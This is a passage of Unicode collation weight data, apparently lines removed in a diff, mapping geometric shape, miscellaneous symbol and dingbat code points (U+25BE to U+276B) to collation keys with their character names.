-25BE  ; [*08B2.0020.0002] # BLACK DOWN-POINTING SMALL TRIANGLE
-25BF  ; [*08B3.0020.0002] # WHITE DOWN-POINTING SMALL TRIANGLE
-25C0  ; [*08B4.0020.0002] # BLACK LEFT-POINTING TRIANGLE
-25C1  ; [*08B5.0020.0002] # WHITE LEFT-POINTING TRIANGLE
-25C2  ; [*08B6.0020.0002] # BLACK LEFT-POINTING SMALL TRIANGLE
-25C3  ; [*08B7.0020.0002] # WHITE LEFT-POINTING SMALL TRIANGLE
-25C4  ; [*08B8.0020.0002] # BLACK LEFT-POINTING POINTER
-25C5  ; [*08B9.0020.0002] # WHITE LEFT-POINTING POINTER
-25C6  ; [*08BA.0020.0002] # BLACK DIAMOND
-25C7  ; [*08BB.0020.0002] # WHITE DIAMOND
-25C8  ; [*08BC.0020.0002] # WHITE DIAMOND CONTAINING BLACK SMALL DIAMOND
-25C9  ; [*08BD.0020.0002] # FISHEYE
-25CA  ; [*08BE.0020.0002] # LOZENGE
-25CB  ; [*08BF.0020.0002] # WHITE CIRCLE
-25CC  ; [*08C0.0020.0002] # DOTTED CIRCLE
-25CD  ; [*08C1.0020.0002] # CIRCLE WITH VERTICAL FILL
-25CE  ; [*08C2.0020.0002] # BULLSEYE
-25CF  ; [*08C3.0020.0002] # BLACK CIRCLE
-25D0  ; [*08C4.0020.0002] # CIRCLE WITH LEFT HALF BLACK
-25D1  ; [*08C5.0020.0002] # CIRCLE WITH RIGHT HALF BLACK
-25D2  ; [*08C6.0020.0002] # CIRCLE WITH LOWER HALF BLACK
-25D3  ; [*08C7.0020.0002] # CIRCLE WITH UPPER HALF BLACK
-25D4  ; [*08C8.0020.0002] # CIRCLE WITH UPPER RIGHT QUADRANT BLACK
-25D5  ; [*08C9.0020.0002] # CIRCLE WITH ALL BUT UPPER LEFT QUADRANT BLACK
-25D6  ; [*08CA.0020.0002] # LEFT HALF BLACK CIRCLE
-25D7  ; [*08CB.0020.0002] # RIGHT HALF BLACK CIRCLE
-25D8  ; [*08CC.0020.0002] # INVERSE BULLET
-25D9  ; [*08CD.0020.0002] # INVERSE WHITE CIRCLE
-25DA  ; [*08CE.0020.0002] # UPPER HALF INVERSE WHITE CIRCLE
-25DB  ; [*08CF.0020.0002] # LOWER HALF INVERSE WHITE CIRCLE
-25DC  ; [*08D0.0020.0002] # UPPER LEFT QUADRANT CIRCULAR ARC
-25DD  ; [*08D1.0020.0002] # UPPER RIGHT QUADRANT CIRCULAR ARC
-25DE  ; [*08D2.0020.0002] # LOWER RIGHT QUADRANT CIRCULAR ARC
-25DF  ; [*08D3.0020.0002] # LOWER LEFT QUADRANT CIRCULAR ARC
-25E0  ; [*08D4.0020.0002] # UPPER HALF CIRCLE
-25E1  ; [*08D5.0020.0002] # LOWER HALF CIRCLE
-25E2  ; [*08D6.0020.0002] # BLACK LOWER RIGHT TRIANGLE
-25E3  ; [*08D7.0020.0002] # BLACK LOWER LEFT TRIANGLE
-25E4  ; [*08D8.0020.0002] # BLACK UPPER LEFT TRIANGLE
-25E5  ; [*08D9.0020.0002] # BLACK UPPER RIGHT TRIANGLE
-25E6  ; [*08DA.0020.0002] # WHITE BULLET
-25E7  ; [*08DB.0020.0002] # SQUARE WITH LEFT HALF BLACK
-25E8  ; [*08DC.0020.0002] # SQUARE WITH RIGHT HALF BLACK
-25E9  ; [*08DD.0020.0002] # SQUARE WITH UPPER LEFT DIAGONAL HALF BLACK
-25EA  ; [*08DE.0020.0002] # SQUARE WITH LOWER RIGHT DIAGONAL HALF BLACK
-25EB  ; [*08DF.0020.0002] # WHITE SQUARE WITH VERTICAL BISECTING LINE
-25EC  ; [*08E0.0020.0002] # WHITE UP-POINTING TRIANGLE WITH DOT
-25ED  ; [*08E1.0020.0002] # UP-POINTING TRIANGLE WITH LEFT HALF BLACK
-25EE  ; [*08E2.0020.0002] # UP-POINTING TRIANGLE WITH RIGHT HALF BLACK
-25EF  ; [*08E3.0020.0002] # LARGE CIRCLE
-25F0  ; [*08E4.0020.0002] # WHITE SQUARE WITH UPPER LEFT QUADRANT
-25F1  ; [*08E5.0020.0002] # WHITE SQUARE WITH LOWER LEFT QUADRANT
-25F2  ; [*08E6.0020.0002] # WHITE SQUARE WITH LOWER RIGHT QUADRANT
-25F3  ; [*08E7.0020.0002] # WHITE SQUARE WITH UPPER RIGHT QUADRANT
-25F4  ; [*08E8.0020.0002] # WHITE CIRCLE WITH UPPER LEFT QUADRANT
-25F5  ; [*08E9.0020.0002] # WHITE CIRCLE WITH LOWER LEFT QUADRANT
-25F6  ; [*08EA.0020.0002] # WHITE CIRCLE WITH LOWER RIGHT QUADRANT
-25F7  ; [*08EB.0020.0002] # WHITE CIRCLE WITH UPPER RIGHT QUADRANT
-25F8  ; [*08EC.0020.0002] # UPPER LEFT TRIANGLE
-25F9  ; [*08ED.0020.0002] # UPPER RIGHT TRIANGLE
-25FA  ; [*08EE.0020.0002] # LOWER LEFT TRIANGLE
-25FB  ; [*08EF.0020.0002] # WHITE MEDIUM SQUARE
-25FC  ; [*08F0.0020.0002] # BLACK MEDIUM SQUARE
-25FD  ; [*08F1.0020.0002] # WHITE MEDIUM SMALL SQUARE
-25FE  ; [*08F2.0020.0002] # BLACK MEDIUM SMALL SQUARE
-25FF  ; [*08F3.0020.0002] # LOWER RIGHT TRIANGLE
-2600  ; [*08F4.0020.0002] # BLACK SUN WITH RAYS
-2601  ; [*08F5.0020.0002] # CLOUD
-2602  ; [*08F6.0020.0002] # UMBRELLA
-2603  ; [*08F7.0020.0002] # SNOWMAN
-2604  ; [*08F8.0020.0002] # COMET
-2605  ; [*08F9.0020.0002] # BLACK STAR
-2606  ; [*08FA.0020.0002] # WHITE STAR
-2607  ; [*08FB.0020.0002] # LIGHTNING
-2608  ; [*08FC.0020.0002] # THUNDERSTORM
-2609  ; [*08FD.0020.0002] # SUN
-260A  ; [*08FE.0020.0002] # ASCENDING NODE
-260B  ; [*08FF.0020.0002] # DESCENDING NODE
-260C  ; [*0900.0020.0002] # CONJUNCTION
-260D  ; [*0901.0020.0002] # OPPOSITION
-260E  ; [*0902.0020.0002] # BLACK TELEPHONE
-260F  ; [*0903.0020.0002] # WHITE TELEPHONE
-2610  ; [*0904.0020.0002] # BALLOT BOX
-2611  ; [*0905.0020.0002] # BALLOT BOX WITH CHECK
-2612  ; [*0906.0020.0002] # BALLOT BOX WITH X
-2613  ; [*0907.0020.0002] # SALTIRE
-2614  ; [*0908.0020.0002] # UMBRELLA WITH RAIN DROPS
-2615  ; [*0909.0020.0002] # HOT BEVERAGE
-2616  ; [*090A.0020.0002] # WHITE SHOGI PIECE
-2617  ; [*090B.0020.0002] # BLACK SHOGI PIECE
-2618  ; [*090C.0020.0002] # SHAMROCK
-2619  ; [*090D.0020.0002] # REVERSED ROTATED FLORAL HEART BULLET
-261A  ; [*090E.0020.0002] # BLACK LEFT POINTING INDEX
-261B  ; [*090F.0020.0002] # BLACK RIGHT POINTING INDEX
-261C  ; [*0910.0020.0002] # WHITE LEFT POINTING INDEX
-261D  ; [*0911.0020.0002] # WHITE UP POINTING INDEX
-261E  ; [*0912.0020.0002] # WHITE RIGHT POINTING INDEX
-261F  ; [*0913.0020.0002] # WHITE DOWN POINTING INDEX
-2620  ; [*0914.0020.0002] # SKULL AND CROSSBONES
-2621  ; [*0915.0020.0002] # CAUTION SIGN
-2622  ; [*0916.0020.0002] # RADIOACTIVE SIGN
-2623  ; [*0917.0020.0002] # BIOHAZARD SIGN
-2624  ; [*0918.0020.0002] # CADUCEUS
-2625  ; [*0919.0020.0002] # ANKH
-2626  ; [*091A.0020.0002] # ORTHODOX CROSS
-2627  ; [*091B.0020.0002] # CHI RHO
-2628  ; [*091C.0020.0002] # CROSS OF LORRAINE
-2629  ; [*091D.0020.0002] # CROSS OF JERUSALEM
-262A  ; [*091E.0020.0002] # STAR AND CRESCENT
-262B  ; [*091F.0020.0002] # FARSI SYMBOL
-262C  ; [*0920.0020.0002] # ADI SHAKTI
-262D  ; [*0921.0020.0002] # HAMMER AND SICKLE
-262E  ; [*0922.0020.0002] # PEACE SYMBOL
-262F  ; [*0923.0020.0002] # YIN YANG
-2630  ; [*0E7E.0020.0002] # TRIGRAM FOR HEAVEN
-2631  ; [*0E7F.0020.0002] # TRIGRAM FOR LAKE
-2632  ; [*0E80.0020.0002] # TRIGRAM FOR FIRE
-2633  ; [*0E81.0020.0002] # TRIGRAM FOR THUNDER
-2634  ; [*0E82.0020.0002] # TRIGRAM FOR WIND
-2635  ; [*0E83.0020.0002] # TRIGRAM FOR WATER
-2636  ; [*0E84.0020.0002] # TRIGRAM FOR MOUNTAIN
-2637  ; [*0E85.0020.0002] # TRIGRAM FOR EARTH
-2638  ; [*0924.0020.0002] # WHEEL OF DHARMA
-2639  ; [*0925.0020.0002] # WHITE FROWNING FACE
-263A  ; [*0926.0020.0002] # WHITE SMILING FACE
-263B  ; [*0927.0020.0002] # BLACK SMILING FACE
-263C  ; [*0928.0020.0002] # WHITE SUN WITH RAYS
-263D  ; [*0929.0020.0002] # FIRST QUARTER MOON
-263E  ; [*092A.0020.0002] # LAST QUARTER MOON
-263F  ; [*092B.0020.0002] # MERCURY
-2640  ; [*092C.0020.0002] # FEMALE SIGN
-2641  ; [*092D.0020.0002] # EARTH
-2642  ; [*092E.0020.0002] # MALE SIGN
-2643  ; [*092F.0020.0002] # JUPITER
-2644  ; [*0930.0020.0002] # SATURN
-2645  ; [*0931.0020.0002] # URANUS
-2646  ; [*0932.0020.0002] # NEPTUNE
-2647  ; [*0933.0020.0002] # PLUTO
-2648  ; [*0934.0020.0002] # ARIES
-2649  ; [*0935.0020.0002] # TAURUS
-264A  ; [*0936.0020.0002] # GEMINI
-264B  ; [*0937.0020.0002] # CANCER
-264C  ; [*0938.0020.0002] # LEO
-264D  ; [*0939.0020.0002] # VIRGO
-264E  ; [*093A.0020.0002] # LIBRA
-264F  ; [*093B.0020.0002] # SCORPIUS
-2650  ; [*093C.0020.0002] # SAGITTARIUS
-2651  ; [*093D.0020.0002] # CAPRICORN
-2652  ; [*093E.0020.0002] # AQUARIUS
-2653  ; [*093F.0020.0002] # PISCES
-2654  ; [*0940.0020.0002] # WHITE CHESS KING
-2655  ; [*0941.0020.0002] # WHITE CHESS QUEEN
-2656  ; [*0942.0020.0002] # WHITE CHESS ROOK
-2657  ; [*0943.0020.0002] # WHITE CHESS BISHOP
-2658  ; [*0944.0020.0002] # WHITE CHESS KNIGHT
-2659  ; [*0945.0020.0002] # WHITE CHESS PAWN
-265A  ; [*0946.0020.0002] # BLACK CHESS KING
-265B  ; [*0947.0020.0002] # BLACK CHESS QUEEN
-265C  ; [*0948.0020.0002] # BLACK CHESS ROOK
-265D  ; [*0949.0020.0002] # BLACK CHESS BISHOP
-265E  ; [*094A.0020.0002] # BLACK CHESS KNIGHT
-265F  ; [*094B.0020.0002] # BLACK CHESS PAWN
-2660  ; [*094C.0020.0002] # BLACK SPADE SUIT
-2661  ; [*094D.0020.0002] # WHITE HEART SUIT
-2662  ; [*094E.0020.0002] # WHITE DIAMOND SUIT
-2663  ; [*094F.0020.0002] # BLACK CLUB SUIT
-2664  ; [*0950.0020.0002] # WHITE SPADE SUIT
-2665  ; [*0951.0020.0002] # BLACK HEART SUIT
-2666  ; [*0952.0020.0002] # BLACK DIAMOND SUIT
-2667  ; [*0953.0020.0002] # WHITE CLUB SUIT
-2668  ; [*0954.0020.0002] # HOT SPRINGS
-2669  ; [*0955.0020.0002] # QUARTER NOTE
-266A  ; [*0956.0020.0002] # EIGHTH NOTE
-266B  ; [*0957.0020.0002] # BEAMED EIGHTH NOTES
-266C  ; [*0958.0020.0002] # BEAMED SIXTEENTH NOTES
-266D  ; [*10CD.0020.0002] # MUSIC FLAT SIGN
-266E  ; [*10CE.0020.0002] # MUSIC NATURAL SIGN
-266F  ; [*10CF.0020.0002] # MUSIC SHARP SIGN
-2670  ; [*0959.0020.0002] # WEST SYRIAC CROSS
-2671  ; [*095A.0020.0002] # EAST SYRIAC CROSS
-2672  ; [*095B.0020.0002] # UNIVERSAL RECYCLING SYMBOL
-2673  ; [*095C.0020.0002] # RECYCLING SYMBOL FOR TYPE-1 PLASTICS
-2674  ; [*095D.0020.0002] # RECYCLING SYMBOL FOR TYPE-2 PLASTICS
-2675  ; [*095E.0020.0002] # RECYCLING SYMBOL FOR TYPE-3 PLASTICS
-2676  ; [*095F.0020.0002] # RECYCLING SYMBOL FOR TYPE-4 PLASTICS
-2677  ; [*0960.0020.0002] # RECYCLING SYMBOL FOR TYPE-5 PLASTICS
-2678  ; [*0961.0020.0002] # RECYCLING SYMBOL FOR TYPE-6 PLASTICS
-2679  ; [*0962.0020.0002] # RECYCLING SYMBOL FOR TYPE-7 PLASTICS
-267A  ; [*0963.0020.0002] # RECYCLING SYMBOL FOR GENERIC MATERIALS
-267B  ; [*0964.0020.0002] # BLACK UNIVERSAL RECYCLING SYMBOL
-267C  ; [*0965.0020.0002] # RECYCLED PAPER SYMBOL
-267D  ; [*0966.0020.0002] # PARTIALLY-RECYCLED PAPER SYMBOL
-267E  ; [*0967.0020.0002] # PERMANENT PAPER SIGN
-267F  ; [*0968.0020.0002] # WHEELCHAIR SYMBOL
-2680  ; [*0969.0020.0002] # DIE FACE-1
-2681  ; [*096A.0020.0002] # DIE FACE-2
-2682  ; [*096B.0020.0002] # DIE FACE-3
-2683  ; [*096C.0020.0002] # DIE FACE-4
-2684  ; [*096D.0020.0002] # DIE FACE-5
-2685  ; [*096E.0020.0002] # DIE FACE-6
-2686  ; [*096F.0020.0002] # WHITE CIRCLE WITH DOT RIGHT
-2687  ; [*0970.0020.0002] # WHITE CIRCLE WITH TWO DOTS
-2688  ; [*0971.0020.0002] # BLACK CIRCLE WITH WHITE DOT RIGHT
-2689  ; [*0972.0020.0002] # BLACK CIRCLE WITH TWO WHITE DOTS
-268A  ; [*0E78.0020.0002] # MONOGRAM FOR YANG
-268B  ; [*0E79.0020.0002] # MONOGRAM FOR YIN
-268C  ; [*0E7A.0020.0002] # DIGRAM FOR GREATER YANG
-268D  ; [*0E7B.0020.0002] # DIGRAM FOR LESSER YIN
-268E  ; [*0E7C.0020.0002] # DIGRAM FOR LESSER YANG
-268F  ; [*0E7D.0020.0002] # DIGRAM FOR GREATER YIN
-2690  ; [*0973.0020.0002] # WHITE FLAG
-2691  ; [*0974.0020.0002] # BLACK FLAG
-2692  ; [*0975.0020.0002] # HAMMER AND PICK
-2693  ; [*0976.0020.0002] # ANCHOR
-2694  ; [*0977.0020.0002] # CROSSED SWORDS
-2695  ; [*0978.0020.0002] # STAFF OF AESCULAPIUS
-2696  ; [*0979.0020.0002] # SCALES
-2697  ; [*097A.0020.0002] # ALEMBIC
-2698  ; [*097B.0020.0002] # FLOWER
-2699  ; [*097C.0020.0002] # GEAR
-269A  ; [*097D.0020.0002] # STAFF OF HERMES
-269B  ; [*097E.0020.0002] # ATOM SYMBOL
-269C  ; [*097F.0020.0002] # FLEUR-DE-LIS
-269D  ; [*0980.0020.0002] # OUTLINED WHITE STAR
-269E  ; [*0981.0020.0002] # THREE LINES CONVERGING RIGHT
-269F  ; [*0982.0020.0002] # THREE LINES CONVERGING LEFT
-26A0  ; [*0983.0020.0002] # WARNING SIGN
-26A1  ; [*0984.0020.0002] # HIGH VOLTAGE SIGN
-26A2  ; [*0985.0020.0002] # DOUBLED FEMALE SIGN
-26A3  ; [*0986.0020.0002] # DOUBLED MALE SIGN
-26A4  ; [*0987.0020.0002] # INTERLOCKED FEMALE AND MALE SIGN
-26A5  ; [*0988.0020.0002] # MALE AND FEMALE SIGN
-26A6  ; [*0989.0020.0002] # MALE WITH STROKE SIGN
-26A7  ; [*098A.0020.0002] # MALE WITH STROKE AND MALE AND FEMALE SIGN
-26A8  ; [*098B.0020.0002] # VERTICAL MALE WITH STROKE SIGN
-26A9  ; [*098C.0020.0002] # HORIZONTAL MALE WITH STROKE SIGN
-26AA  ; [*098D.0020.0002] # MEDIUM WHITE CIRCLE
-26AB  ; [*098E.0020.0002] # MEDIUM BLACK CIRCLE
-26AC  ; [*098F.0020.0002] # MEDIUM SMALL WHITE CIRCLE
-26AD  ; [*0990.0020.0002] # MARRIAGE SYMBOL
-26AE  ; [*0991.0020.0002] # DIVORCE SYMBOL
-26AF  ; [*0992.0020.0002] # UNMARRIED PARTNERSHIP SYMBOL
-26B0  ; [*0993.0020.0002] # COFFIN
-26B1  ; [*0994.0020.0002] # FUNERAL URN
-26B2  ; [*0995.0020.0002] # NEUTER
-26B3  ; [*0996.0020.0002] # CERES
-26B4  ; [*0997.0020.0002] # PALLAS
-26B5  ; [*0998.0020.0002] # JUNO
-26B6  ; [*0999.0020.0002] # VESTA
-26B7  ; [*099A.0020.0002] # CHIRON
-26B8  ; [*099B.0020.0002] # BLACK MOON LILITH
-26B9  ; [*099C.0020.0002] # SEXTILE
-26BA  ; [*099D.0020.0002] # SEMISEXTILE
-26BB  ; [*099E.0020.0002] # QUINCUNX
-26BC  ; [*099F.0020.0002] # SESQUIQUADRATE
-26BD  ; [*09A0.0020.0002] # SOCCER BALL
-26BE  ; [*09A1.0020.0002] # BASEBALL
-26BF  ; [*09A2.0020.0002] # SQUARED KEY
-26C0  ; [*09A3.0020.0002] # WHITE DRAUGHTS MAN
-26C1  ; [*09A4.0020.0002] # WHITE DRAUGHTS KING
-26C2  ; [*09A5.0020.0002] # BLACK DRAUGHTS MAN
-26C3  ; [*09A6.0020.0002] # BLACK DRAUGHTS KING
-26C4  ; [*09A7.0020.0002] # SNOWMAN WITHOUT SNOW
-26C5  ; [*09A8.0020.0002] # SUN BEHIND CLOUD
-26C6  ; [*09A9.0020.0002] # RAIN
-26C7  ; [*09AA.0020.0002] # BLACK SNOWMAN
-26C8  ; [*09AB.0020.0002] # THUNDER CLOUD AND RAIN
-26C9  ; [*09AC.0020.0002] # TURNED WHITE SHOGI PIECE
-26CA  ; [*09AD.0020.0002] # TURNED BLACK SHOGI PIECE
-26CB  ; [*09AE.0020.0002] # WHITE DIAMOND IN SQUARE
-26CC  ; [*09AF.0020.0002] # CROSSING LANES
-26CD  ; [*09B0.0020.0002] # DISABLED CAR
-26CE  ; [*09B1.0020.0002] # OPHIUCHUS
-26CF  ; [*09B2.0020.0002] # PICK
-26D0  ; [*09B3.0020.0002] # CAR SLIDING
-26D1  ; [*09B4.0020.0002] # HELMET WITH WHITE CROSS
-26D2  ; [*09B5.0020.0002] # CIRCLED CROSSING LANES
-26D3  ; [*09B6.0020.0002] # CHAINS
-26D4  ; [*09B7.0020.0002] # NO ENTRY
-26D5  ; [*09B8.0020.0002] # ALTERNATE ONE-WAY LEFT WAY TRAFFIC
-26D6  ; [*09B9.0020.0002] # BLACK TWO-WAY LEFT WAY TRAFFIC
-26D7  ; [*09BA.0020.0002] # WHITE TWO-WAY LEFT WAY TRAFFIC
-26D8  ; [*09BB.0020.0002] # BLACK LEFT LANE MERGE
-26D9  ; [*09BC.0020.0002] # WHITE LEFT LANE MERGE
-26DA  ; [*09BD.0020.0002] # DRIVE SLOW SIGN
-26DB  ; [*09BE.0020.0002] # HEAVY WHITE DOWN-POINTING TRIANGLE
-26DC  ; [*09BF.0020.0002] # LEFT CLOSED ENTRY
-26DD  ; [*09C0.0020.0002] # SQUARED SALTIRE
-26DE  ; [*09C1.0020.0002] # FALLING DIAGONAL IN WHITE CIRCLE IN BLACK SQUARE
-26DF  ; [*09C2.0020.0002] # BLACK TRUCK
-26E0  ; [*09C3.0020.0002] # RESTRICTED LEFT ENTRY-1
-26E1  ; [*09C4.0020.0002] # RESTRICTED LEFT ENTRY-2
-26E2  ; [*09C5.0020.0002] # ASTRONOMICAL SYMBOL FOR URANUS
-26E3  ; [*09C6.0020.0002] # HEAVY CIRCLE WITH STROKE AND TWO DOTS ABOVE
-26E4  ; [*09C7.0020.0002] # PENTAGRAM
-26E5  ; [*09C8.0020.0002] # RIGHT-HANDED INTERLACED PENTAGRAM
-26E6  ; [*09C9.0020.0002] # LEFT-HANDED INTERLACED PENTAGRAM
-26E7  ; [*09CA.0020.0002] # INVERTED PENTAGRAM
-26E8  ; [*09CB.0020.0002] # BLACK CROSS ON SHIELD
-26E9  ; [*09CC.0020.0002] # SHINTO SHRINE
-26EA  ; [*09CD.0020.0002] # CHURCH
-26EB  ; [*09CE.0020.0002] # CASTLE
-26EC  ; [*09CF.0020.0002] # HISTORIC SITE
-26ED  ; [*09D0.0020.0002] # GEAR WITHOUT HUB
-26EE  ; [*09D1.0020.0002] # GEAR WITH HANDLES
-26EF  ; [*09D2.0020.0002] # MAP SYMBOL FOR LIGHTHOUSE
-26F0  ; [*09D3.0020.0002] # MOUNTAIN
-26F1  ; [*09D4.0020.0002] # UMBRELLA ON GROUND
-26F2  ; [*09D5.0020.0002] # FOUNTAIN
-26F3  ; [*09D6.0020.0002] # FLAG IN HOLE
-26F4  ; [*09D7.0020.0002] # FERRY
-26F5  ; [*09D8.0020.0002] # SAILBOAT
-26F6  ; [*09D9.0020.0002] # SQUARE FOUR CORNERS
-26F7  ; [*09DA.0020.0002] # SKIER
-26F8  ; [*09DB.0020.0002] # ICE SKATE
-26F9  ; [*09DC.0020.0002] # PERSON WITH BALL
-26FA  ; [*09DD.0020.0002] # TENT
-26FB  ; [*09DE.0020.0002] # JAPANESE BANK SYMBOL
-26FC  ; [*09DF.0020.0002] # HEADSTONE GRAVEYARD SYMBOL
-26FD  ; [*09E0.0020.0002] # FUEL PUMP
-26FE  ; [*09E1.0020.0002] # CUP ON BLACK SQUARE
-26FF  ; [*09E2.0020.0002] # WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE
-2700  ; [*09FD.0020.0002] # BLACK SAFETY SCISSORS
-2701  ; [*09FE.0020.0002] # UPPER BLADE SCISSORS
-2702  ; [*09FF.0020.0002] # BLACK SCISSORS
-2703  ; [*0A00.0020.0002] # LOWER BLADE SCISSORS
-2704  ; [*0A01.0020.0002] # WHITE SCISSORS
-2705  ; [*0A02.0020.0002] # WHITE HEAVY CHECK MARK
-2706  ; [*0A03.0020.0002] # TELEPHONE LOCATION SIGN
-2707  ; [*0A04.0020.0002] # TAPE DRIVE
-2708  ; [*0A05.0020.0002] # AIRPLANE
-2709  ; [*0A06.0020.0002] # ENVELOPE
-270A  ; [*0A07.0020.0002] # RAISED FIST
-270B  ; [*0A08.0020.0002] # RAISED HAND
-270C  ; [*0A09.0020.0002] # VICTORY HAND
-270D  ; [*0A0A.0020.0002] # WRITING HAND
-270E  ; [*0A0B.0020.0002] # LOWER RIGHT PENCIL
-270F  ; [*0A0C.0020.0002] # PENCIL
-2710  ; [*0A0D.0020.0002] # UPPER RIGHT PENCIL
-2711  ; [*0A0E.0020.0002] # WHITE NIB
-2712  ; [*0A0F.0020.0002] # BLACK NIB
-2713  ; [*0A10.0020.0002] # CHECK MARK
-2714  ; [*0A11.0020.0002] # HEAVY CHECK MARK
-2715  ; [*0A12.0020.0002] # MULTIPLICATION X
-2716  ; [*0A13.0020.0002] # HEAVY MULTIPLICATION X
-2717  ; [*0A14.0020.0002] # BALLOT X
-2718  ; [*0A15.0020.0002] # HEAVY BALLOT X
-2719  ; [*0A16.0020.0002] # OUTLINED GREEK CROSS
-271A  ; [*0A17.0020.0002] # HEAVY GREEK CROSS
-271B  ; [*0A18.0020.0002] # OPEN CENTRE CROSS
-271C  ; [*0A19.0020.0002] # HEAVY OPEN CENTRE CROSS
-271D  ; [*0A1A.0020.0002] # LATIN CROSS
-271E  ; [*0A1B.0020.0002] # SHADOWED WHITE LATIN CROSS
-271F  ; [*0A1C.0020.0002] # OUTLINED LATIN CROSS
-2720  ; [*0A1D.0020.0002] # MALTESE CROSS
-2721  ; [*0A1E.0020.0002] # STAR OF DAVID
-2722  ; [*0A1F.0020.0002] # FOUR TEARDROP-SPOKED ASTERISK
-2723  ; [*0A20.0020.0002] # FOUR BALLOON-SPOKED ASTERISK
-2724  ; [*0A21.0020.0002] # HEAVY FOUR BALLOON-SPOKED ASTERISK
-2725  ; [*0A22.0020.0002] # FOUR CLUB-SPOKED ASTERISK
-2726  ; [*0A23.0020.0002] # BLACK FOUR POINTED STAR
-2727  ; [*0A24.0020.0002] # WHITE FOUR POINTED STAR
-2728  ; [*0A25.0020.0002] # SPARKLES
-2729  ; [*0A26.0020.0002] # STRESS OUTLINED WHITE STAR
-272A  ; [*0A27.0020.0002] # CIRCLED WHITE STAR
-272B  ; [*0A28.0020.0002] # OPEN CENTRE BLACK STAR
-272C  ; [*0A29.0020.0002] # BLACK CENTRE WHITE STAR
-272D  ; [*0A2A.0020.0002] # OUTLINED BLACK STAR
-272E  ; [*0A2B.0020.0002] # HEAVY OUTLINED BLACK STAR
-272F  ; [*0A2C.0020.0002] # PINWHEEL STAR
-2730  ; [*0A2D.0020.0002] # SHADOWED WHITE STAR
-2731  ; [*0A2E.0020.0002] # HEAVY ASTERISK
-2732  ; [*0A2F.0020.0002] # OPEN CENTRE ASTERISK
-2733  ; [*0A30.0020.0002] # EIGHT SPOKED ASTERISK
-2734  ; [*0A31.0020.0002] # EIGHT POINTED BLACK STAR
-2735  ; [*0A32.0020.0002] # EIGHT POINTED PINWHEEL STAR
-2736  ; [*0A33.0020.0002] # SIX POINTED BLACK STAR
-2737  ; [*0A34.0020.0002] # EIGHT POINTED RECTILINEAR BLACK STAR
-2738  ; [*0A35.0020.0002] # HEAVY EIGHT POINTED RECTILINEAR BLACK STAR
-2739  ; [*0A36.0020.0002] # TWELVE POINTED BLACK STAR
-273A  ; [*0A37.0020.0002] # SIXTEEN POINTED ASTERISK
-273B  ; [*0A38.0020.0002] # TEARDROP-SPOKED ASTERISK
-273C  ; [*0A39.0020.0002] # OPEN CENTRE TEARDROP-SPOKED ASTERISK
-273D  ; [*0A3A.0020.0002] # HEAVY TEARDROP-SPOKED ASTERISK
-273E  ; [*0A3B.0020.0002] # SIX PETALLED BLACK AND WHITE FLORETTE
-273F  ; [*0A3C.0020.0002] # BLACK FLORETTE
-2740  ; [*0A3D.0020.0002] # WHITE FLORETTE
-2741  ; [*0A3E.0020.0002] # EIGHT PETALLED OUTLINED BLACK FLORETTE
-2742  ; [*0A3F.0020.0002] # CIRCLED OPEN CENTRE EIGHT POINTED STAR
-2743  ; [*0A40.0020.0002] # HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK
-2744  ; [*0A41.0020.0002] # SNOWFLAKE
-2745  ; [*0A42.0020.0002] # TIGHT TRIFOLIATE SNOWFLAKE
-2746  ; [*0A43.0020.0002] # HEAVY CHEVRON SNOWFLAKE
-2747  ; [*0A44.0020.0002] # SPARKLE
-2748  ; [*0A45.0020.0002] # HEAVY SPARKLE
-2749  ; [*0A46.0020.0002] # BALLOON-SPOKED ASTERISK
-274A  ; [*0A47.0020.0002] # EIGHT TEARDROP-SPOKED PROPELLER ASTERISK
-274B  ; [*0A48.0020.0002] # HEAVY EIGHT TEARDROP-SPOKED PROPELLER ASTERISK
-274C  ; [*0A49.0020.0002] # CROSS MARK
-274D  ; [*0A4A.0020.0002] # SHADOWED WHITE CIRCLE
-274E  ; [*0A4B.0020.0002] # NEGATIVE SQUARED CROSS MARK
-274F  ; [*0A4C.0020.0002] # LOWER RIGHT DROP-SHADOWED WHITE SQUARE
-2750  ; [*0A4D.0020.0002] # UPPER RIGHT DROP-SHADOWED WHITE SQUARE
-2751  ; [*0A4E.0020.0002] # LOWER RIGHT SHADOWED WHITE SQUARE
-2752  ; [*0A4F.0020.0002] # UPPER RIGHT SHADOWED WHITE SQUARE
-2753  ; [*0A50.0020.0002] # BLACK QUESTION MARK ORNAMENT
-2754  ; [*0A51.0020.0002] # WHITE QUESTION MARK ORNAMENT
-2755  ; [*0A52.0020.0002] # WHITE EXCLAMATION MARK ORNAMENT
-2756  ; [*0A53.0020.0002] # BLACK DIAMOND MINUS WHITE X
-2757  ; [*0A54.0020.0002] # HEAVY EXCLAMATION MARK SYMBOL
-2758  ; [*0A55.0020.0002] # LIGHT VERTICAL BAR
-2759  ; [*0A56.0020.0002] # MEDIUM VERTICAL BAR
-275A  ; [*0A57.0020.0002] # HEAVY VERTICAL BAR
-275B  ; [*0A58.0020.0002] # HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT
-275C  ; [*0A59.0020.0002] # HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT
-275D  ; [*0A5A.0020.0002] # HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT
-275E  ; [*0A5B.0020.0002] # HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT
-275F  ; [*0A5C.0020.0002] # HEAVY LOW SINGLE COMMA QUOTATION MARK ORNAMENT
-2760  ; [*0A5D.0020.0002] # HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT
-2761  ; [*0A5E.0020.0002] # CURVED STEM PARAGRAPH SIGN ORNAMENT
-2762  ; [*0A5F.0020.0002] # HEAVY EXCLAMATION MARK ORNAMENT
-2763  ; [*0A60.0020.0002] # HEAVY HEART EXCLAMATION MARK ORNAMENT
-2764  ; [*0A61.0020.0002] # HEAVY BLACK HEART
-2765  ; [*0A62.0020.0002] # ROTATED HEAVY BLACK HEART BULLET
-2766  ; [*0A63.0020.0002] # FLORAL HEART
-2767  ; [*0A64.0020.0002] # ROTATED FLORAL HEART BULLET
-2768  ; [*0346.0020.0002] # MEDIUM LEFT PARENTHESIS ORNAMENT
-2769  ; [*0347.0020.0002] # MEDIUM RIGHT PARENTHESIS ORNAMENT
-276A  ; [*0348.0020.0002] # MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT
-276B  ; [*0349.0020.0002] # MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT
